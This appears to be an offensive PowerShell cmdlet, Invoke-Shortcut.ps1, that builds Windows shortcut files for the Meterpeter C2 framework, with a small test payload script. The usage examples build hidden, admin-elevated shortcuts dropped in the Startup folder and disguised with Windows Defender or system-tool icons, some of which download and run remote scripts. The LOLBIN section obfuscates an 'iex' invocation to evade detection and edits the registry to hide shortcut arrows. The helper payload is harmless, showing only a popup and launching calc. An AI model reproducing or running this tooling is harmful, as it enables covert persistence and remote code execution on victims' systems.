.SYNOPSIS
   Create shortcut file (LNK) that runs appl\script [Mitre - T1027.012]

   Author: @r00t-3xp10it
   Tested Under: Windows 10 (19044) x64 bits
   Required Dependencies: ComObject WScript.Shell
   Optional Dependencies: Iwr, tinyurl
   PS cmdlet Dev version: v2.3.12

.DESCRIPTION
   Create one LNK file (shortcut) on selected location that
   runs our program(.exe) or script(.ps1|.bat) when pressed
   Or download\execute Script.ps1 from https://raw.github

.NOTES
   Meterpeter C2 invokes this cmdlet has one persistence technic
   to auto-execute meterpeter payload on every system startup.

.LINK
   'https://attack.mitre.org/techniques/T1027/012'
   'https://learn.microsoft.com/en-us/troubleshoot/windows-client/admin-development/create-desktop-shortcut-with-wsh'

.\Invoke-Shortcut.ps1 -LNKPath "$pwd" -StartIn "$Env:TMP"

.\Invoke-Shortcut.ps1 -LNKIcon "$Env:WINDIR\system32\defrag.exe" -RunItAsAdmin

.\Invoke-Shortcut.ps1 -ApplicationToRun "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ApplArgs "echo 'hello shanty';start-sleep -S 2;netstat -ano;start-sleep -S 3" -Filter

.\Invoke-Shortcut.ps1 -LNKIcon "$Env:WINDIR\system32\UNP\UNPUXLauncher.exe" -ApplArgs "netstat -ano|findstr `"ESTABLISHED`" && title hello shanty && pause"

.\Invoke-Shortcut.ps1 -ApplicationToRun "$Env:WINDIR\system32\chkdsk.exe" -ApplArgs "/I /scan" -LNKIcon "$Env:PROGRAMFILES\PCHealthCheck\PCHealthCheckBroker.exe" -RunItAsAdmin

.\Invoke-Shortcut.ps1 -ApplicationToRun "$pwd\script.ps1" -LNKIcon "$Env:WINDIR\system32\defrag.exe" -Hidden -RunItAsAdmin

.\Invoke-Shortcut.ps1 -REMOTE -Uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Get-AVStatus.ps1" -LNKIcon "C:\WINDOWS\system32\wsl.exe" -RunItAsAdmin

.\Invoke-Shortcut.ps1 -REMOTE -Uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Get-AVStatus.ps1" -LNKPath "$Env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -LNKIcon "$Env:PROGRAMFILES\Windows Defender\MpCmdRun.exe" -StartIn "$Env:TMP"

.\Invoke-Shortcut.ps1 -ApplicationToRun "$Env:TMP\Payload.ps1" -LNKPath "$Env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -LNKIcon "$Env:PROGRAMFILES\Windows Defender\MpCmdRun.exe" -StartIn "$Env:TMP" -Hidden -RunItAsAdmin

.\Invoke-Shortcut.ps1 -ApplicationToRun "$Env:TMP\Payload.ps1" -StartIn "$Env:TMP" -LOLBIN -Hidden -RunItAsAdmin

<#
.SYNOPSIS
   Author: @r00t-3xp10it
   Helper - Payload.ps1 to test Invoke-Shortcut.ps1

.NOTES
   Put this cmdlet on %TMP% directory to be exec with or without arguments

.EXAMPLE
   PS C:\> powershell -file Payload.ps1

.EXAMPLE
   PS C:\> powershell -file Payload.ps1 -action info
   
  .EXAMPLE
   PS C:\> powershell -file Payload.ps1 -action calc 
#>

[CmdletBinding(PositionalBinding=$false)] param(
   [string]$action="info"
)

If($action -match 'info')
{
   powershell (nEW-ObjeCt -ComObjEct Wscript.Shell).Popup("Executing INFORMATION",4,"Payload.ps1",0+64)
}
Else
{
   powershell (nEW-ObjeCt -ComObjEct Wscript.Shell).Popup("Executing Payload.ps1 and calc.exe",4,"Payload.ps1",0+64)
   Start-Process calc.exe
}

If($LOLBIN.IsPresent)
{
   ....

   ## Check shell_Privileges hold
   $TomarPrevidencias = '@[bo£o@l]#((@[£Sy@st£e@m.£S@ec£u#r@it@y.@P£r#i@n£cip@al.#W£i@n£d#o£w@sI£d@e#n£t@it@y]:£:#G@e£tC£u@r£r#e@n£#t(£)).£g#r@o£u@p£s# -m£a@t#c@h "£S-@1-#5££-3@2-#5£4@4")' -replace '(@|#|£)',''
   $IsClientAdmin = $TomarPrevidencias|&('Sex' -replace '^(S)','i')
   If($IsClientAdmin -match '^(True)$')
   {
      ## Delete arrows from LNK files?
      # Remark: Administrator privileges required {creates an EMPTY /d "data" value}
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /t REG_SZ /f|Out-Null

      ## Revert
      # REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /f|Out-Null
   }
}